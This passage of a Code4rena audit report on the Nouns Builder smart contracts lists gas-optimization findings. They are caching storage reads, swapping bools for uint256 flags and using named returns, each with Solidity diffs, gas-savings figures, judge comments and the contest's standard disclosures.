index ae90c6c..8fb4241 100644
--- a/src/auction/types/AuctionTypesV1.sol
+++ b/src/auction/types/AuctionTypesV1.sol
@@ -12,10 +12,10 @@ contract AuctionTypesV1 {
12, 12: /// @param minBidIncrement The minimum percentage an incoming bid must raise the highest bid
13, 13: /// @param reservePrice The reserve price of each auction
14, 14: struct Settings {
- 15 :- address treasury;
+ 15:+ uint8 minBidIncrement;
16, 16: uint40 duration;
17, 17: uint40 timeBuffer;
- 18 :- uint8 minBidIncrement;
+ 18:+ address treasury;
19, 19: uint256 reservePrice;
20, 20: }
21, 21:
@@ -27,11 +27,11 @@ contract AuctionTypesV1 {
27, 27: /// @param endTime The timestamp the auction ends
28, 28: /// @param settled If the auction has been settled
29, 29: struct Auction {
- 30 :- uint256 tokenId;
- 31 :- uint256 highestBid;
- 32 :- address highestBidder;
33, 30: uint40 startTime;
34, 31: uint40 endTime;
35, 32: bool settled;
+ 33:+ address highestBidder;
+ 34:+ uint256 tokenId;
+ 35:+ uint256 highestBid;
36, 36: }
37, 37: }
diff --git a/test/Auction.t.sol b/test/Auction.t.sol
index b664078..bf2c2e5 100644
--- a/test/Auction.t.sol
+++ b/test/Auction.t.sol
@@ -44,7 +44,7 @@ contract AuctionTest is NounsBuilderTest {
44, 44: assertEq(token.ownerOf(1), founder2);
45, 45: assertEq(token.ownerOf(2), address(auction));
46, 46:
- 47 :- (uint256 tokenId, uint256 highestBid, address highestBidder, uint256 startTime, uint256 endTime, bool settled) = auction.auction();
+ 47:+ (uint256 startTime, uint256 endTime, bool settled, address highestBidder, uint256 tokenId, uint256 highestBid) = auction.auction();
48, 48:
49, 49: assertEq(tokenId, 2);
50, 50: assertEq(highestBid, 0);
@@ -71,7 +71,7 @@ contract AuctionTest is NounsBuilderTest {
71, 71: vm.prank(bidder1);
72, 72: auction.createBid{ value: _amount }(2);
73, 73:
- 74 :- (, uint256 highestBid, address highestBidder, , , ) = auction.auction();
+ 74:+ (, , , address highestBidder, , uint256 highestBid) = auction.auction();
75, 75:
76, 76: assertEq(highestBid, _amount);
77, 77: assertEq(highestBidder, bidder1);
@@ -123,7 +123,7 @@ contract AuctionTest is NounsBuilderTest {
123, 123: assertEq(bidder2BeforeBalance - bidder2AfterBalance, 0.5 ether);
124, 124: assertEq(address(auction).balance, 0.5 ether);
125, 125:
- 126 :- (, uint256 highestBid, address highestBidder, , , ) = auction.auction();
+ 126:+ (, , , address highestBidder, , uint256 highestBid) = auction.auction();
127, 127:
128, 128: assertEq(highestBid, 0.5 ether);
129, 129: assertEq(highestBidder, bidder2);
@@ -155,7 +155,7 @@ contract AuctionTest is NounsBuilderTest {
155, 155: vm.prank(bidder2);
156, 156: auction.createBid{ value: 1 ether }(2);
157, 157:
- 158 :- (, , , , uint256 endTime, ) = auction.auction();
+ 158:+ (, uint256 endTime, , ,, ) = auction.auction();
159, 159:
160, 160: assertEq(endTime, 14 minutes);
161, 161: }
@@ -237,7 +237,7 @@ contract AuctionTest is NounsBuilderTest {
237, 237:
238, 238: auction.settleAuction();
239, 239:
- 240 :- (, , , , , bool settled) = auction.auction();
+ 240:+ (, , bool settled, , , ) = auction.auction();
241, 241:
242, 242: assertEq(settled, true);
243, 243: }
diff --git a/test/utils/NounsBuilderTest.sol b/test/utils/NounsBuilderTest.sol
index cb17d6b..ccabc62 100644
--- a/test/utils/NounsBuilderTest.sol
+++ b/test/utils/NounsBuilderTest.sol
@@ -240,7 +240,7 @@ contract NounsBuilderTest is Test {
240, 240:
241, 241: unchecked {
242, 242: for (uint256 i; i < _numTokens; ++i) {
- 243 :- (uint256 tokenId, , , , , ) = auction.auction();
+ 243:+ (, , , , uint256 tokenId, ) = auction.auction();
244, 244:
245, 245: vm.prank(otherUsers[i]);
246, 246: auction.createBid{ value: reservePrice }(tokenId);
[G-03] State variables should be cached in stack variables rather than re-reading them from storage (5 instances)
Deployment Gas Saved: 70 505
Method Call Gas Saved: 2 634
forge snapshot --diff
: 12 481 Gas Saved
Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs or having local caches of state variable contracts/addresses.
SLOADs are expensive (100 gas after the 1st one) compared to MLOADs/MSTOREs (3 gas each). Storage values read multiple times should instead be cached in memory the first time (costing 1 SLOAD) and then read from this cache to avoid multiple SLOADs.
function: _settleAuction
: auction
cached in 169 but readed from storage in 172
function: _handleOutgoingTransfer
: IWETH(WETH)
can be cached
diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol
index 794da99..3ef53f5 100644
--- a/src/auction/Auction.sol
+++ b/src/auction/Auction.sol
@@ -356,11 +356,13 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS
356, 356:
357, 357: // If the transfer failed:
358, 358: if (!success) {
+ 359:+ IWETH iweth = IWETH(WETH);
+ 360:+
359, 361: // Wrap as WETH
- 360 :- IWETH(WETH).deposit{ value: _amount }();
+ 362:+ iweth.deposit{ value: _amount }();
361, 363:
362, 364: // Transfer WETH instead
- 363 :- IWETH(WETH).transfer(_to, _amount);
+ 365:+ iweth.transfer(_to, _amount);
364, 366: }
365, 367: }
366, 368:
function proposalVotes: There is no need to copy proposals[_proposalId]
to memory, because you reading every field exactly one time
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
index 0d963c5..c8fb215 100644
--- a/src/governance/governor/Governor.sol
+++ b/src/governance/governor/Governor.sol
@@ -505,9 +505,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
505, 505: uint256
506, 506: )
507, 507: {
- 508 :- Proposal memory proposal = proposals[_proposalId];
- 509 :-
- 510 :- return (proposal.againstVotes, proposal.forVotes, proposal.abstainVotes);
+ 508:+ return (proposals[_proposalId].againstVotes, proposals[_proposalId].forVotes, proposals[_proposalId].abstainVotes);
511, 509: }
512, 510:
513, 511: /// @notice The timestamp valid to execute a proposal
function isReady
: timestamps[_proposalId]
can be cached
diff --git a/src/governance/treasury/Treasury.sol b/src/governance/treasury/Treasury.sol
index b78bc8c..ce94e3b 100644
--- a/src/governance/treasury/Treasury.sol
+++ b/src/governance/treasury/Treasury.sol
@@ -86,7 +86,8 @@ contract Treasury is ITreasury, UUPS, Ownable, TreasuryStorageV1 {
86, 86: /// @notice If a proposal is ready to execute (does not consider expiration)
87, 87: /// @param _proposalId The proposal id
88, 88: function isReady(bytes32 _proposalId) public view returns (bool) {
- 89 :- return timestamps[_proposalId] != 0 && block.timestamp >= timestamps[_proposalId];
+ 89:+ uint256 timestamp = timestamps[_proposalId];
+ 90:+ return timestamp != 0 && block.timestamp >= timestamp;
90, 91: }
91, 92:
92, 93: /// ///
function _isForFounder
: use storage pointer to founder
diff --git a/src/token/Token.sol b/src/token/Token.sol
index afad142..ef92fe6 100644
--- a/src/token/Token.sol
+++ b/src/token/Token.sol
@@ -178,14 +178,16 @@ contract Token is IToken, UUPS, ReentrancyGuard, ERC721Votes, TokenStorageV1 {
178, 178: // Get the base token id
179, 179: uint256 baseTokenId = _tokenId % 100;
180, 180:
+ 181:+ Founder storage _founder = tokenRecipient[baseTokenId];
+ 182:+
181, 183: // If there is no scheduled recipient:
- 182 :- if (tokenRecipient[baseTokenId].wallet == address(0)) {
+ 184:+ if (_founder.wallet == address(0)) {
183, 185: return false;
184, 186:
185, 187: // Else if the founder is still vesting:
- 186 :- } else if (block.timestamp < tokenRecipient[baseTokenId].vestExpiry) {
+ 188:+ } else if (block.timestamp < _founder.vestExpiry) {
187, 189: // Mint the token to the founder
- 188 :- _mint(tokenRecipient[baseTokenId].wallet, _tokenId);
+ 190:+ _mint(_founder.wallet, _tokenId);
189, 191:
190, 192: return true;
191, 193:
function _getItemImage
: complex expression can be cached as storage pointer
diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol
index 7a140ec..6640988 100644
--- a/src/token/metadata/MetadataRenderer.sol
+++ b/src/token/metadata/MetadataRenderer.sol
@@ -253,10 +253,11 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad
253, 253:
254, 254: /// @dev Encodes the reference URI of an item
255, 255: function _getItemImage(Item memory _item, string memory _propertyName) private view returns (string memory) {
+ 256:+ IPFSGroup storage _ipfsData = ipfsData[_item.referenceSlot];
256, 257: return
257, 258: UriEncode.uriEncode(
258, 259: string(
- 259 :- abi.encodePacked(ipfsData[_item.referenceSlot].baseUri, _propertyName, "/", _item.name, ipfsData[_item.referenceSlot].extension)
+ 260:+ abi.encodePacked(_ipfsData.baseUri, _propertyName, "/", _item.name, _ipfsData.extension)
260, 261: )
261, 262: );
262, 263: }
[G-04] Using bools for storage incurs overhead (5 instances)
Deployment Gas Saved: 60 668
Avg. Method Call Gas Saved: 1 191
forge snapshot --diff
: 9 748 Gas Saved
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas) for the extra SLOAD, and to avoid Gsset (20000 gas) when changing from ‘false’ to ‘true’, after having been ‘true’ in the past
NOTE: in some cases, usually in structs, this optimization can cause significant user gas loss, these cases are intentionally excluded from the report
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
index 0d963c5..62506ae 100644
--- a/src/governance/governor/Governor.sol
+++ b/src/governance/governor/Governor.sol
@@ -255,13 +255,13 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
255, 255: if (state(_proposalId) != ProposalState.Active) revert VOTING_NOT_STARTED();
256, 256:
257, 257: // Ensure the voter hasn't already voted
- 258 :- if (hasVoted[_proposalId][_voter]) revert ALREADY_VOTED();
+ 258:+ if (1==hasVoted[_proposalId][_voter]) revert ALREADY_VOTED();
259, 259:
260, 260: // Ensure the vote is valid
261, 261: if (_support > 2) revert INVALID_VOTE();
262, 262:
263, 263: // Record the voter as having voted
- 264 :- hasVoted[_proposalId][_voter] = true;
+ 264:+ hasVoted[_proposalId][_voter] = 1;
265, 265:
266, 266: // Get the pointer to the proposal
267, 267: Proposal storage proposal = proposals[_proposalId];
diff --git a/src/governance/governor/storage/GovernorStorageV1.sol b/src/governance/governor/storage/GovernorStorageV1.sol
index beff22e..25d7ff2 100644
--- a/src/governance/governor/storage/GovernorStorageV1.sol
+++ b/src/governance/governor/storage/GovernorStorageV1.sol
@@ -16,5 +16,5 @@ contract GovernorStorageV1 is GovernorTypesV1 {
16, 16:
17, 17: /// @notice If a user has voted on a proposal
18, 18: /// @dev Proposal Id => User => Has Voted
- 19 :- mapping(bytes32 => mapping(address => bool)) internal hasVoted;
+ 19:+ mapping(bytes32 => mapping(address => uint256)) internal hasVoted;
20, 20: }
diff --git a/src/lib/token/ERC721.sol b/src/lib/token/ERC721.sol
index 36a4bed..5808613 100644
--- a/src/lib/token/ERC721.sol
+++ b/src/lib/token/ERC721.sol
@@ -35,7 +35,7 @@ abstract contract ERC721 is IERC721, Initializable {
35, 35:
36, 36: /// @notice The balance approvals
37, 37: /// @dev Owner => Operator => Approved
- 38 :- mapping(address => mapping(address => bool)) internal operatorApprovals;
+ 38:+ mapping(address => mapping(address => uint256)) internal operatorApprovals;
39, 39:
40, 40: /// ///
41, 41: /// FUNCTIONS ///
@@ -75,7 +75,7 @@ abstract contract ERC721 is IERC721, Initializable {
75, 75: /// @param _owner The owner address
76, 76: /// @param _operator The operator address
77, 77: function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
- 78 :- return operatorApprovals[_owner][_operator];
+ 78:+ return 1==operatorApprovals[_owner][_operator];
79, 79: }
80, 80:
81, 81: /// @notice The number of tokens owned
@@ -102,7 +102,7 @@ abstract contract ERC721 is IERC721, Initializable {
102, 102: function approve(address _to, uint256 _tokenId) external {
103, 103: address owner = owners[_tokenId];
104, 104:
- 105 :- if (msg.sender != owner && !operatorApprovals[owner][msg.sender]) revert INVALID_APPROVAL();
+ 105:+ if (msg.sender != owner && 0==operatorApprovals[owner][msg.sender]) revert INVALID_APPROVAL();
106, 106:
107, 107: tokenApprovals[_tokenId] = _to;
108, 108:
@@ -113,7 +113,7 @@ abstract contract ERC721 is IERC721, Initializable {
113, 113: /// @param _operator The account address
114, 114: /// @param _approved If permission is being given or removed
115, 115: function setApprovalForAll(address _operator, bool _approved) external {
- 116 :- operatorApprovals[msg.sender][_operator] = _approved;
+ 116:+ operatorApprovals[msg.sender][_operator] = _approved ? 1 : 0;
117, 117:
118, 118: emit ApprovalForAll(msg.sender, _operator, _approved);
119, 119: }
@@ -131,7 +131,7 @@ abstract contract ERC721 is IERC721, Initializable {
131, 131:
132, 132: if (_to == address(0)) revert ADDRESS_ZERO();
133, 133:
- 134 :- if (msg.sender != _from && !operatorApprovals[_from][msg.sender] && msg.sender != tokenApprovals[_tokenId]) revert INVALID_APPROVAL();
+ 134:+ if (msg.sender != _from && 0==operatorApprovals[_from][msg.sender] && msg.sender != tokenApprovals[_tokenId]) revert INVALID_APPROVAL();
135, 135:
136, 136: _beforeTokenTransfer(_from, _to, _tokenId);
137, 137:
diff --git a/src/lib/utils/Pausable.sol b/src/lib/utils/Pausable.sol
index 6057d6b..5d37ad7 100644
--- a/src/lib/utils/Pausable.sol
+++ b/src/lib/utils/Pausable.sol
@@ -12,7 +12,7 @@ abstract contract Pausable is IPausable, Initializable {
12, 12: /// ///
13, 13:
14, 14: /// @dev If the contract is paused
- 15 :- bool internal _paused;
+ 15:+ uint256 internal _paused;
16, 16:
17, 17: /// ///
18, 18: /// MODIFIERS ///
@@ -20,13 +20,13 @@ abstract contract Pausable is IPausable, Initializable {
20, 20:
21, 21: /// @dev Ensures the contract is paused
22, 22: modifier whenPaused() {
- 23 :- if (!_paused) revert UNPAUSED();
+ 23:+ if (0==_paused) revert UNPAUSED();
24, 24: _;
25, 25: }
26, 26:
27, 27: /// @dev Ensures the contract isn't paused
28, 28: modifier whenNotPaused() {
- 29 :- if (_paused) revert PAUSED();
+ 29:+ if (1==_paused) revert PAUSED();
30, 30: _;
31, 31: }
32, 32:
@@ -37,24 +37,24 @@ abstract contract Pausable is IPausable, Initializable {
37, 37: /// @dev Sets whether the initial state
38, 38: /// @param _initPause If the contract should pause upon initialization
39, 39: function __Pausable_init(bool _initPause) internal onlyInitializing {
- 40 :- _paused = _initPause;
+ 40:+ _paused = _initPause ? 1 : 0;
41, 41: }
42, 42:
43, 43: /// @notice If the contract is paused
44, 44: function paused() external view returns (bool) {
- 45 :- return _paused;
+ 45:+ return _paused == 1;
46, 46: }
47, 47:
48, 48: /// @dev Pauses the contract
49, 49: function _pause() internal virtual whenNotPaused {
- 50 :- _paused = true;
+ 50:+ _paused = 1;
51, 51:
52, 52: emit Paused(msg.sender);
53, 53: }
54, 54:
55, 55: /// @dev Unpauses the contract
56, 56: function _unpause() internal virtual whenPaused {
- 57 :- _paused = false;
+ 57:+ _paused = 0;
58, 58:
59, 59: emit Unpaused(msg.sender);
60, 60: }
diff --git a/src/manager/Manager.sol b/src/manager/Manager.sol
index d1025ec..5e2a230 100644
--- a/src/manager/Manager.sol
+++ b/src/manager/Manager.sol
@@ -178,14 +178,14 @@ contract Manager is IManager, UUPS, Ownable, ManagerStorageV1 {
178, 178: /// @param _baseImpl The base implementation address
179, 179: /// @param _upgradeImpl The upgrade implementation address
180, 180: function isRegisteredUpgrade(address _baseImpl, address _upgradeImpl) external view returns (bool) {
- 181 :- return isUpgrade[_baseImpl][_upgradeImpl];
+ 181:+ return 1==isUpgrade[_baseImpl][_upgradeImpl];
182, 182: }
183, 183:
184, 184: /// @notice Called by the Builder DAO to offer implementation upgrades for created DAOs
185, 185: /// @param _baseImpl The base implementation address
186, 186: /// @param _upgradeImpl The upgrade implementation address
187, 187: function registerUpgrade(address _baseImpl, address _upgradeImpl) external onlyOwner {
- 188 :- isUpgrade[_baseImpl][_upgradeImpl] = true;
+ 188:+ isUpgrade[_baseImpl][_upgradeImpl] = 1;
189, 189:
190, 190: emit UpgradeRegistered(_baseImpl, _upgradeImpl);
191, 191: }
diff --git a/src/manager/storage/ManagerStorageV1.sol b/src/manager/storage/ManagerStorageV1.sol
index 5d981ef..e566821 100644
--- a/src/manager/storage/ManagerStorageV1.sol
+++ b/src/manager/storage/ManagerStorageV1.sol
@@ -7,5 +7,5 @@ pragma solidity 0.8.15;
7, 7: contract ManagerStorageV1 {
8, 8: /// @notice If a contract has been registered as an upgrade
9, 9: /// @dev Base impl => Upgrade impl
- 10 :- mapping(address => mapping(address => bool)) internal isUpgrade;
+ 10:+ mapping(address => mapping(address => uint256)) internal isUpgrade;
11, 11: }
diff --git a/src/token/metadata/MetadataRenderer.sol b/src/token/metadata/MetadataRenderer.sol
index 7a140ec..7976581 100644
--- a/src/token/metadata/MetadataRenderer.sol
+++ b/src/token/metadata/MetadataRenderer.sol
@@ -136,7 +136,7 @@ contract MetadataRenderer is IPropertyIPFSMetadataRenderer, UUPS, Ownable, Metad
136, 136:
137, 137: // Offset the id if the item is for a new property
138, 138: // Note: Property ids under the hood are offset by 1
- 139 :- if (_items[i].isNewProperty) {
+ 139:+ if (_items[i].isNewProperty == 1) {
140, 140: _propertyId += numStoredProperties;
141, 141: }
142, 142:
diff --git a/src/token/metadata/types/MetadataRendererTypesV1.sol b/src/token/metadata/types/MetadataRendererTypesV1.sol
index c0890f6..4a3146b 100644
--- a/src/token/metadata/types/MetadataRendererTypesV1.sol
+++ b/src/token/metadata/types/MetadataRendererTypesV1.sol
@@ -8,7 +8,7 @@ interface MetadataRendererTypesV1 {
8, 8: struct ItemParam {
9, 9: uint256 propertyId;
10, 10: string name;
- 11 :- bool isNewProperty;
+ 11:+ uint256 isNewProperty;
12, 12: }
13, 13:
14, 14: struct IPFSGroup {
[G-05] Storage variable is used when local exists (2 instances)
Deployment Gas Saved: 1 400
Method Call Gas Saved: 2 602
forge snapshot --diff
: 41 326 Gas Saved
function: _settleAuction
: auction
cached in 169 but readed from storage in 172
diff --git a/src/auction/Auction.sol b/src/auction/Auction.sol
index 794da99..3754f3b 100644
--- a/src/auction/Auction.sol
+++ b/src/auction/Auction.sol
@@ -169,7 +169,7 @@ contract Auction is IAuction, UUPS, Ownable, ReentrancyGuard, Pausable, AuctionS
169, 169: Auction memory _auction = auction;
170, 170:
171, 171: // Ensure the auction wasn't already settled
- 172 :- if (auction.settled) revert AUCTION_SETTLED();
+ 172:+ if (_auction.settled) revert AUCTION_SETTLED();
173, 173:
174, 174: // Ensure the auction had started
175, 175: if (_auction.startTime == 0) revert AUCTION_NOT_STARTED();
-
src/governance/governor/Governor.sol
function
propose
:proposalThreshold()
cached in 123, but called again in 128
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
index 0d963c5..ce1ad1a 100644
--- a/src/governance/governor/Governor.sol
+++ b/src/governance/governor/Governor.sol
@@ -125,7 +125,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
125, 125: // Cannot realistically underflow and `getVotes` would revert
126, 126: unchecked {
127, 127: // Ensure the caller's voting weight is greater than or equal to the threshold
- 128 :- if (getVotes(msg.sender, block.timestamp - 1) < proposalThreshold()) revert BELOW_PROPOSAL_THRESHOLD();
+ 128:+ if (getVotes(msg.sender, block.timestamp - 1) < currentProposalThreshold) revert BELOW_PROPOSAL_THRESHOLD();
129, 129: }
130, 130:
131, 131: // Cache the number of targets
[G-06] Use named returns where appropriate (3 instances)
Deployment Gas Saved: 2 000
Method Call Gas Saved: 174
forge snapshot --diff
: 621 Gas Saved
diff --git a/src/governance/governor/Governor.sol b/src/governance/governor/Governor.sol
index 0d963c5..200a72a 100644
--- a/src/governance/governor/Governor.sol
+++ b/src/governance/governor/Governor.sol
@@ -118,7 +118,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
118, 118: uint256[] memory _values,
119, 119: bytes[] memory _calldatas,
120, 120: string memory _description
- 121 :- ) external returns (bytes32) {
+ 121:+ ) external returns (bytes32 proposalId) {
122, 122: // Get the current proposal threshold
123, 123: uint256 currentProposalThreshold = proposalThreshold();
124, 124:
@@ -142,7 +142,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
142, 142: bytes32 descriptionHash = keccak256(bytes(_description));
143, 143:
144, 144: // Compute the proposal id
- 145 :- bytes32 proposalId = hashProposal(_targets, _values, _calldatas, descriptionHash);
+ 145:+ proposalId = hashProposal(_targets, _values, _calldatas, descriptionHash);
146, 146:
147, 147: // Get the pointer to store the proposal
148, 148: Proposal storage proposal = proposals[proposalId];
@@ -170,8 +170,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
170, 170: proposal.timeCreated = uint32(block.timestamp);
171, 171:
172, 172: emit ProposalCreated(proposalId, _targets, _values, _calldatas, _description, descriptionHash, proposal);
- 173 :-
- 174 :- return proposalId;
175, 173: }
176, 174:
177, 175: /// ///
@@ -250,7 +248,7 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
250, 248: address _voter,
251, 249: uint256 _support,
252, 250: string memory _reason
- 253 :- ) internal returns (uint256) {
+ 251:+ ) internal returns (uint256 weight) {
254, 252: // Ensure voting is active
255, 253: if (state(_proposalId) != ProposalState.Active) revert VOTING_NOT_STARTED();
256, 254:
@@ -266,9 +264,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
266, 264: // Get the pointer to the proposal
267, 265: Proposal storage proposal = proposals[_proposalId];
268, 266:
- 269 :- // Used to store the voter's weight
- 270 :- uint256 weight;
- 271 :-
272, 267: // Cannot realistically underflow and `getVotes` would revert
273, 268: unchecked {
274, 269: // Get the voter's weight at the time the proposal was created
@@ -292,8 +287,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
292, 287: }
293, 288:
294, 289: emit VoteCast(_voter, _proposalId, _support, weight, _reason);
- 295 :-
- 296 :- return weight;
297, 290: }
298, 291:
299, 292: /// ///
@@ -326,9 +319,9 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
326, 319: uint256[] calldata _values,
327, 320: bytes[] calldata _calldatas,
328, 321: bytes32 _descriptionHash
- 329 :- ) external payable returns (bytes32) {
+ 322:+ ) external payable returns (bytes32 proposalId) {
330, 323: // Get the proposal id
- 331 :- bytes32 proposalId = hashProposal(_targets, _values, _calldatas, _descriptionHash);
+ 324:+ proposalId = hashProposal(_targets, _values, _calldatas, _descriptionHash);
332, 325:
333, 326: // Ensure the proposal is queued
334, 327: if (state(proposalId) != ProposalState.Queued) revert PROPOSAL_NOT_QUEUED(proposalId);
@@ -340,8 +333,6 @@ contract Governor is IGovernor, UUPS, Ownable, EIP712, GovernorStorageV1 {
340, 333: settings.treasury.execute{ value: msg.value }(_targets, _values, _calldatas, _descriptionHash);
341, 334:
342, 335: emit ProposalExecuted(proposalId);
- 343 :-
- 344 :- return proposalId;
345, 336: }
346, 337:
347, 338: /// ///
Overall Gas Saved
This is the result of merging all the fixes:
Deployment Gas Saved: 341 027
Method Call Gas Saved: 10 231
forge snapshot --diff
: 73 132 Gas Saved
Note: for complete details, please see warden’s full report.
Alex the Entreprenerd (judge) commented:
This looks really good. 10k gas seems a little exaggerated but I will review in detail.
Alex the Entreprenerd (judge) commented:
Math looks right, will reduce to 8000 gas as I have used heuristics for other reports.
Best submission this contest, well done!
Disclosures
C4 is an open organization governed by participants in the community.
C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.